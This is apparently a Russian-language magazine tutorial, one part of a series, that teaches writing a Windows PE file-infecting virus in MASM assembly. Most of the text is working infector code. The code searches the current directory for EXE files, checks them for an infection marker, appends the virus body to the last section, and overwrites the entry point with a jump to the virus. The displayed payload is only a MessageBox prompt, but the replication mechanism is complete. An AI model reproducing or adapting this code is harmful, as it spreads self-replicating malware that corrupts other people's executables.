Начало

Пишем вирус

Перед кодингом определимся, что наш вирус должен делать. Пусть он будет искать все файлы с расширением EXE в текущей директории (не включая поддиректории) и внедрять в них свой код. При этом сделаем возможность ограничения на количество заражаемых программ за один запуск и ограничение на размер заражаемой программы. Также сделаем так, чтобы вирус трогал только файлы с одним из атрибутов: нормальный, скрытый, системный. Поэтому, прежде чем тестировать вирус, нужно установить, например, атрибут «скрытый» файлов жертв. Сама программа вируса не будет содержать никакого вредоносного кода. При запуске зараженной программы перед передачей непосредственно ей управления будет выводиться MessageBox с вопросом, хотим ли мы запустить эту программу. Если ответ положительный, выполнится код вируса, который заразит еще несколько (сколько – сами укажем в коде) программ, лежащих в одной директории с запущенной, а затем выполнится код самой зараженной программы. Если же ответ пользователя будет отрицательным – завершаем программу без заражения других близлежащих файлов и без выполнения самого кода жертвы.

Итак, цель перед собой поставили. Осталось реализовать задачу, учитывая все тонкости и проблемы, которые могут возникнуть при реализации. Приступим.

Все данные, которые мы будем использовать, хранятся в нашем вирусе, либо в глобальных переменных, либо в стеке. И, естественно, в секции кода:

begin_data:

infect_count   db 0 ; Счетчик зараженных программ

j_m_p          db 0E9h
save_vir_b     db 5 dup(0)
old_save_vir_b db 5 dup(0)

dwSectionAlignment dd 0

WIN32_FIND_DATA           label    byte
  WFD_dwFileAttributes    dd       0
  WFD_ftCreationTime      dq       0
  WFD_ftLastAccessTime    dq       0
  WFD_ftLastWriteTime     dq       0
  WFD_nFileSizeHigh       dd       0
  WFD_nFileSizeLow        dd       0
  WFD_dwReserved0         dd       0
  WFD_dwReserved1         dd       0
  WFD_szFileName          db       260 dup (0)
  WFD_szAlternateFileName db       14 dup (0)
WIN32_FIND_DATA_END       label    byte
              
delta_off           equ [ebp+18h]
; Адреса функций (см. в первой части)

;--------------------------------------------------------------------
; Таблица хешей (см. в первой части)
;--------------------------------------------------------------------

; Режимы доступа к файлу
GENERIC_READ     equ 80000000h
GENERIC_WRITE    equ 40000000h
FILE_SHARE_READ  equ 1
FILE_SHARE_WRITE equ 2
OPEN_EXISTING    equ 3

; Атрибуты файла
FILE_ATTRIBUTE_HIDDEN equ 2
FILE_ATTRIBUTE_SYSTEM equ 4
FILE_ATTRIBUTE_NORMAL equ 80h

; Максимальное число жертв
MaxVictimNumber equ 2

; Максимальный размер файла в байтах
CheckVictimSize equ 0 ; Проверять размер?
MaxVictimSize equ   35 * 1024

; Размер всего кода вируса в байтах
Virsize equ $-start

end_data:

dd Virsize                             ; Размер кода в байтах
dd $ - save_vir_b - 4 + 4096 - Virsize ; Смещение save_vir_b относительно 
                                       ; конца 4096-байтного блока
dd begin_data - start                  ; Смещение метки begin_data 
                                       ; относительно start
dd HashTable - start                   ; Смещение метки HashTable 
                                       ; относительно start

Как видим, мы используем переменную infect_count в качестве счетчика зараженных программ. Само же максимальное число жертв за один запуск хранится в константе MaxVictimNumber. Переменная j_m_p содержит опкод одноименной команды. Это нужно, чтобы при внедрении в программу изменить первые 5 байт ее точки входа на код прыжка на тело нашего вируса. Эти 5 байт будем хранить в переменных (точнее, в массивах) save_vir_b и old_save_vir_b. Зачем этих переменных две? Будет ясно далее. Но коротко скажу, что вторая — для корректной работы. Переменная dwSectionAlignment будет использоваться для временного хранения значения границы выравнивания при определении выровненного значения размера файла программы-жертвы. WIN32_FIND_DATA – известная структура, используемая при поиске файлов функциями FindFirstFile, FindNextFile. Имя delta_off указывает на ту часть стека, где хранится дельта-смещение, рассмотренное выше. Как раз сюда мы сохранили это смещение первой командой push в начале кода. Константу CheckVictimSize используем для включения/выключения проверки размера файла программы-жертвы. Если эта константа равна нулю, то будут заражаться файлы любого размера. Иначе — будут заражены файлы размером не более MaxVictimSize байт. Константу Virsize используем при записи вирусного кода в жертву.

Зачем нам последние четыре двойных слова после метки end_data? Да, они не имеют смысла, но мы их сознательно создаем, чтобы после компиляции нашего вируса посмотреть в каком-нибудь HEX-редакторе (буду использовать HIEW 6.11) значения последних 32-битных двойных слов. Они будут нам нужны при написании программы-доктора, удаляющей наш вирус из зараженного файла.

Данные описали. Теперь пишем сам код. Поскольку мы храним наши данные в секции кода, то нужно разрешить писать в нее, ведь секция кода предназначена только для чтения и запуска. Сделаем это с помощью функции
VirtualProtect:

    ; Разрешаем записывать данные в секцию кода
    pusha
    push esp
    push 40h
    push OFFSET end_data - OFFSET begin_data
    mov  eax, OFFSET begin_data
    add  eax, delta_off
    push eax
    call VirtualProtect
    popa

А при сборке вируса линковщику также нужно указать, что в секцию кода можно писать:

C:\masm32\bin\ml /nologo /c /coff main.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj

Далее нам нужно спросить пользователя «Вы действительно хотите запустить данную программу?»:

    ; Загружаем user32.dll
    pushz "user32.dll"
    call  LoadLibrary
    push  eax

    ; Находим MessageBoxA
    pushz "MessageBoxA"
    push  eax
    call  GetProcAddress

    ; Вызываем MessageBoxA
    push  24h
    pushz "Заражение"
    pushz "Вы действительно хотите запустить эту программу?"
    push  0
    call  eax
    mov   ebx, eax
    pop   eax

    ; Освобождаем библиотеку user32.dll
    push eax
    call FreeLibrary

    ; Если пользователь отказался запускать программу - выходим
    cmp  ebx, 7 ; IDNO
    je   ExitVirus

Далее производим поиск файлов с
определенными критериями в текущей
директории:

    ; Обнуляем счетчик заражений
    lea  esi, infect_count
    add  esi, delta_off
    and  byte ptr [esi], 0

    push eax             ; резервируем место в стеке для hFind

    ; Определяем и устанавливаем текущую директорию
    lea  esi, WFD_szFileName
    add  esi, delta_off
    push LENGTHOF WFD_szFileName
    push esi
    push 0
    call GetModuleFileNameA
    lea  edi, WFD_szFileName
    add  edi, delta_off
    mov  ebx, eax
    add  ebx, edi
_scan_back:
    dec ebx
    cmp byte ptr [ebx], '\'
    jne _scan_back
    mov byte ptr [ebx], 0
    push edi
    call SetCurrentDirectoryA

    ; Начинаем поиск программ
    lea   eax, WIN32_FIND_DATA
    add   eax, delta_off
    push  eax
    pushz "*.exe"
    call  FindFirstFileA
    mov   hFind, eax      ; Сохраняем хендл поиска
    inc   eax             ; cmp eax, INVALID_HANDLE_VALUE
    jnz   _OpenFile       ; Если нет ошибок
    jmp   _Exit           ; Ошибка. Ни одного файла не найдено. Выходим

    ; Продолжаем поиск
_FindNextFileA:
    lea  eax, WIN32_FIND_DATA
    add  eax, delta_off
    push eax	
    push hFind
    call FindNextFileA
    or   eax, eax
    jz   _Exit             ; Если ничего больше не найдено, выходим

    ; Файл найден
_OpenFile:
    ; Проверяем атрибуты
    mov  eax, OFFSET WFD_dwFileAttributes
    add  eax, delta_off
    mov  eax, [eax]
    .IF  !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM ||
           eax & FILE_ATTRIBUTE_NORMAL)
        ; Атрибуты не подходят. Пропускаем файл
        jmp _FindNextFileA
    .ENDIF

    ; Проверяем размер файла
    mov  eax, OFFSET WFD_nFileSizeLow
    add  eax, delta_off
    mov  eax, [eax]
    mov  ebx, CheckVictimSize
    .IF  ebx && eax > MaxVictimSize
        ; Размер не подходит. Пропускаем файл
        jmp _FindNextFileA
    .ENDIF

    ; Открываем файл
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ OR FILE_SHARE_WRITE
    push GENERIC_READ OR GENERIC_WRITE
    mov  eax, OFFSET WFD_szFileName
    add  eax, delta_off
    push eax
    call CreateFileA
    inc  eax
    jz   _FindNextFileA    ; Не удалось открыть. Продолжаем поиск
    dec  eax	
    push eax               ; Сохраним hFile

Далее нам нужно обнулить то, что находится в WIN32_FIND_DATA. Зачем? Можно, конечно, этого не делать, но тогда при просмотре кода жертвы мы увидим, где лежал файл, когда его заражали. Нас выдаст поле WFD_szFileName и, возможно,
WFD_szAlternateFileName.

    ; Обнуляем данные
    lea  esi, WIN32_FIND_DATA
    add  esi, delta_off
    mov  ecx, WIN32_FIND_DATA_END - WIN32_FIND_DATA - 1
@@zero_WIN32_FIND_DATA:
    and  byte ptr [esi + ecx], 0
    loop @@zero_WIN32_FIND_DATA
    and  byte ptr [esi], 0

Потом нам нужно прочитать из PE-заголовка жертвы значение выравнивания в переменную dwSectionAlignment, чтобы потом вычислить по действительному размеру файла его выровненное значение:

    ; Читаем значение выравнивания SectionAlignment
    push 0
    push 0
    push 3Ch
    push hFile
    call SetFilePointer

    lea  esi, dwSectionAlignment
    add  esi, delta_off
    push 0
    push esp
    push 4
    push esi
    push hFile
    call ReadFile

    mov  eax, [esi]
    add  eax, 38h
    push 0
    push 0
    push eax
    push hFile
    call SetFilePointer

    lea  esi, dwSectionAlignment
    add  esi, delta_off
    push 0
    push esp
    push 4
    push esi
    push hFile
    call ReadFile

    push 0
    push 0
    push 0
    push hFile
    call SetFilePointer

Осталось получить размеры файла (реальный и выровненный) и прочитать его содержимое в выделенную память:

    ; Получаем размер файла программы-жертвы
    push 0
    push hFile
    call GetFileSize
    push eax               ; Сохраняем оригинальный размер файла dwFileSize
    lea  esi, dwSectionAlignment
    add  esi, delta_off
    mov  edi, [esi]
    mov  esi, Virsize
    dec  edi
    add  esi, edi
    not  edi
    and  esi, edi
    add  eax, esi
    push eax               ; Сохраняем размер файла dwAlignedFileSize

    ; Выделяем память под размер файла dwAlignedFileSize
    push eax
    push 0
    call GlobalAlloc
    push eax               ; Сохраняем адрес распределенной памяти pAllocMem

    ; Сейчас стек содержит:
    ; pAllocMem
    ; dwAlignedFileSize
    ; dwFileSize
    ; hFile

    ; Проверяем, нет ли ошибки при выделении памяти
    test eax, eax
    jz   _CloseFile        ; Ошибка есть

    ; Читаем файл
    push 0
    push esp
    push dwFileSize        ; Количество байт для чтения
    push eax               ; Буфер для прочитанных данных
    push hFile
    call ReadFile
    or   eax, eax
    jz   _CloseFile        ; Прыгаем, если не удалось прочитать файл

Вот и добрались до инфицирования. Перед заражением нужно проверить, заражен ли уже файл, заглянув в его PE-заголовок за значением резервного поля, о котором я упоминал выше — Win32VersionValue. Запишу туда дату рождения своей подруги в шестнадцатеричном виде:

    ; Далее - код инфицирования
    mov edi, pAllocMem          ; Начало прочитанного файла
    add edi, [edi + 3Ch]        ; VA of PE header
    cmp word ptr [edi], 4550h   ; Проверка на валидность ...
    jne _Exit

    add edi, 4Ch								
    cmp dword ptr [edi], 10041986h  ; Поле Reserv. Проверяем, заражен ли файл 
                                    ; нашим вирусом
    je  _CloseFile
    mov dword ptr [edi], 10041986h  ; если нет, то ставим метку о заражении
    sub edi, 4Ch

Прежде, чем рассматривать код добавления в конец последней секции кода нашего вируса, нужно уяснить, как выглядит дескриптор секции в таблице секций
ObjectTable:

ObjectName — Имя объекта (секции);
VirtualSize — Виртуальный размер секции (в памяти);
SectionRVA — RVA секции (в памяти, относительно Image Base);
PhysicalSize — Физический размер секции (в файле);
PhysicalOffset — Физическое смещение (в файле относительно его начала);
Reserved — Зарезервировано (для OBJ);
ObjectFlags — Битовые флаги секции.

Каждый такой дескриптор описывает одну секцию. В ObjectTable элементы идут последовательно друг за другом без промежутков, но не обязательно в порядке возрастания PhysicalOffset и SectionRVA. Т.е. последний элемент не всегда описывает последнюю секцию, хотя в большинстве случаев это так (под «последней секцией» я подразумеваю секцию, которая физически и виртуально находится в файле последней). Здесь нам понадобится физическое смещение последней секции и смещение ее дескриптора (из ObjectTable) — для того, чтобы пропатчить некоторые значения (а именно: VirtualSize, PhysicalSize,
ObjectFlags).

Найдем самое большое значение PhysicalOffset из всех дескрипторов. Дескриптор, содержащий это значение, и будет нам нужен. Так же нам понадобится найти дескриптор, который содержит наибольшее значение VirtualRVA. Зачем? Дело в том, что секция может быть физически в файле последней, а вот виртуально, т.е. в памяти, она может расположиться где угодно, например, первой. Тогда при ее расширении мы затрем последующую секцию в памяти. Такое встречается крайне редко, но нам все равно нужно обязательно это учесть, чтобы вирус работал даже в таких условиях. Затем мы проверяем, принадлежат ли значения PhysicalOffset и VirtualRVA одному дескриптору. Если да, то секция последняя и физически в файле, и виртуально в памяти. Если нет – ошибочка вышла:

    ; Ищем последнюю секцию
_SearchLastSection:
    movzx ecx, word ptr [edi + 6]     ; Количество элементов (счетчик) в 
                                      ; таблице секций ObjectTable
    movzx esi, word ptr [edi + 14h]   ; Размер опционального заголовка.
; Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой 
; секции:
    lea   esi, [edi+esi+18h]          ; VA первой секции
    mov   ebx, [esi + 14h]            ; Наибольшее значение PhysicalOffset
    mov   edx, [esi + 0Ch]            ; Наибольшее значение VirtualRVA
    push  esi                         ; Сохраним VA элемента с наибольшим
                                      ; VirtualRVA
    push  esi                         ; Сохраним VA элемента с наибольшим 
                                      ; PhysicalOffset

_SearchHighPhysOffs:                  ; Ищем
    cmp  ebx, [esi + 14h]             ; Если оно меньше, чем в наибольшем, 
                                      ; то...
    ja   _SearchHighVirtRVA
    mov  ebx, [esi + 14h]             ; Иначе, примем за наибольшее
    mov  [esp], esi

_SearchHighVirtRVA:                   ; Аналогично, но с VirtualRVA
    cmp  edx, [esi + 0Ch]
    ja   _OtherElement
    mov  edx, [esi + 0Ch]
    mov  [esp + 4], esi

_OtherElement:
    add  esi, 28h                     ; ... переходим на дескриптор
                                      ; следующей секции
    loop _SearchHighPhysOffs          ; перебираем дескрипторы всех секций
    pop esi
    pop edi

;esi - VA элемента с наибольшим PhysicalOffset
;edi - VA элемента с наибольшим VirtualRVA
;ebx - Физическое смещение секции с наибольшим PhysicalOffset
;edx - Виртуальное смещение секции с наибольшим VirtualRVA

    ; Проверяем последнюю секцию на правильность
_CheckOnValid:
    cmp  esi, edi                     ; Проверим, принадлежат ли найденные 
                                      ; смещения одному дескриптору
    jne  _CloseFile                   ; Не принадлежат - выходим
    mov  edi, pAllocMem               ; Начало прочитанного файла
    mov  edx, [esi + 10h]             ; edx = физический размер последней
                                      ; секции
    or   edx, edx                     ; Проверим физический размер
                                      ; последней секции
    jz   _CloseFile                   ; недопустимо, чтобы был 0

Посмотрим ради интереса, что покажет нам HIEW, если мы натравим его на calc.exe (стандартный калькулятор в системе Windows):

Здесь мы видим, что последняя секция имеет имя “.rsrc” (секция ресурсов). SectionRVA этой секции – 00016000h, PhysicalOffset = 00013600h. Она действительно последняя, т.к. SectionRVA и PhysicalOffset предыдущих секций меньше.

Хорошо, последнюю секцию мы нашли и определили ее виртуальное и физическое смещение. Казалось бы, мы уже можем дописать наш код в конец этой секции, но тут есть проблема. Существуют такие программы, в которых после последней секции идут какие-то полезные данные. Чаще всего это самораспаковывающиеся архивы. Получается, что если мы допишем код в конец последней секции, то мы затрем то, что было после этой секции. В результате архив поврежден и в итоге мы получим сообщение вроде следующего (пример для
WinRAR):

Поэтому, чтобы избежать этого, такие программы лучше не трогать:

    ; Теперь проверим: если физический_размер_секции + 
    ; физическое_смещение_секции меньше, чем размер всего файла, то файл не 
    ; трогаем, т.к. скорее всего это самораспаковывающийся архив. Мы его 
    ; повредим, затерев данные за последней секцией
    mov   eax, [esi + 10h]
    add   eax, [esi + 14h]
    .IF   eax < dwFileSize
        jmp _CloseFile
    .ENDIF

Как мы уже заметили ранее, перед передачей управления основной программе, сначала должен выполниться вирусный код. А для этого мы решили изменить первые 5 байт точки входа на команду jmp. Итак, нам нужно найти точку входа в файле:

_WriteVirus:
    push esi
    push edi                             ; Сохраним VA жертвы
    mov  ecx, dword ptr Virsize          ; Размер записываемого кода
    add  edi, ebx                        ; VA последней секции жертвы
    add  edi, [esi + 10h]                ; Теперь edi указывает на конец 
                                         ; последней секции
    mov  ebx, esi
    lea  esi, start
    add  esi, delta_off

    ; Сохраняем 5 байт save_vir_b в old_save_vir_b
    pusha
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off
    lea  edi, old_save_vir_b
    add  edi, delta_off
    rep movsb
    popa

    pusha

    ; формируем код прыжка на тело вируса

    ; Высчитываем RVA кода вируса в памяти относительно ImageBase
    ; RVA кода вируса = RVA последней секции + Physical Size последней секции
    mov   eax, [ebx + 0Ch]
    add   eax, [ebx + 10h]
    ; eax = RVA кода вируса в памяти относительно ImageBase

    ; Находим физическое смещение точки входа жертвы
    ; Ищем описатель секции с SectionRVA = BaseOfCode
_SearchCodeSection:
    mov   edi, pAllocMem                 ; Начало прочитанного файла
    add   edi, [edi + 3Ch]               ; VA of PE header
    movzx ecx, word ptr [edi + 6]        ; Количество элементов в таблице 
                                         ; секций
    movzx esi, word ptr [edi + 14h]      ; Размер опционального заголовка.
                                         ; Перепрыгиваем через опциональный 
                                         ; заголовок. Попадаем на дескриптор 
                                         ; первой секции:
    lea   esi, [edi+esi+18h]             ; VA первой секции

_SearchCodeSectionLoop:
    mov   edx, [esi + 0Ch]               ; значение VirtualRVA
    cmp   edx, [edi + 2Ch]               ; сравниваем VirtualRVA с BaseOfCode
    je    _CodeSectionFounded            ; нашли
    add   esi, 28h                       ; не нашли
    loop  _SearchCodeSectionLoop         ; продолжаем цикл поиска

_CodeSectionFounded:
    mov   ebx, [esi + 14h]               ; берем PhysicalOffset найденной
                                         ; секции кода
    add   ebx, [edi + 28h]               ; складываем PhysicalOffset c
                                         ; EntryPointRVA
    sub   ebx, [edi + 2Ch]               ; вычитаем BaseOfCode. Получили 
                                         ; смещение точки входа
                                         ; относительно начала файла жертвы
    ; ebx = физическое смещение точки входа относительно начала файла жертвы

Т.е. здесь мы сравниваем значение поля BaseOfCode PE-заголовка со значением VirtualRVA для каждой секции. Если совпадают, берем PhysicalOffset найденной секции, складываем с виртуальным смещением точки входа (в памяти) EntryPointRVA и вычитаем BaseOfCode. В результате получаем физическое смещение точки входа относительно начала файла жертвы. Осталось дописать код вируса в конец последней секции:

    ; Высчитываем прыжок
    mov  ecx, [edi + 28h]
    add  ecx, 5
    sub  ecx, eax
    xor  eax, eax
    sub  eax, ecx
    push eax                     ; результат формулы x = 0 - (y - z)

    ; сохраняем старые 5 бaйт начала кода жертвы
    mov ecx, 5h
    lea edi, save_vir_b
    add edi, delta_off
    mov esi, pAllocMem
    add esi, ebx
    rep movsb

    ; записываем джамп на код вируса
    mov edi, pAllocMem
    add edi, ebx
    lea esi, j_m_p
    add esi, delta_off
    movsb
    pop ebx
    mov dword ptr [edi], ebx

    popa

    rep  movsb    ; Записываем тело вируса в файл жертвы

    ; Восстанавливаем 5 байт save_vir_b из old_save_vir_b
    pusha
    mov  ecx, 5h
    lea  esi, old_save_vir_b
    add  esi, delta_off
    lea  edi, save_vir_b
    add  edi, delta_off
    rep movsb
    popa

    pop  edi
    pop  esi

Теперь нам нужно обязательно пофиксить дескриптор последней секции, в конец которой мы дописались. Для начала нам нужно увеличить физический и виртуальный размеры этой секции на величину вирусного кода, после чего выровнять полученные новые значения. Поля в дескрипторе соответственно следующие: PhysicalSize и
VirtualSize.

Если поподробнее, то PhysicalSize является размером секции (ее инициализированной части) в файле, кратно полю FileAlign в заголовке PE Header, должно быть меньше или равно VirtualSize. А VirtualSize — виртуальный размер секции. Именно столько памяти будет отведено под секцию. Если VirtualSize превышает PhysicalSize, то разница заполняется нулями, так определяются секции неинициализированных данных.

А что такое выравнивание? Это округление выравниваемого значения в бОльшую сторону до кратности с некоторым значением. Назовем его выравнивающим фактором.

В PE-заголовке есть поля, по значениям которых (по выравнивающим факторам) выравниваются PhysicalSize и VirtualSize по следующей формуле:

(x + (y — 1)) & (~(y — 1)),
где x-выравниваемое значение, y-выравнивающий фактор.

На ассемблере мы бы написали:

mov eax, y
dec eax
add x, eax
not eax
and x, eax

Продолжение

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …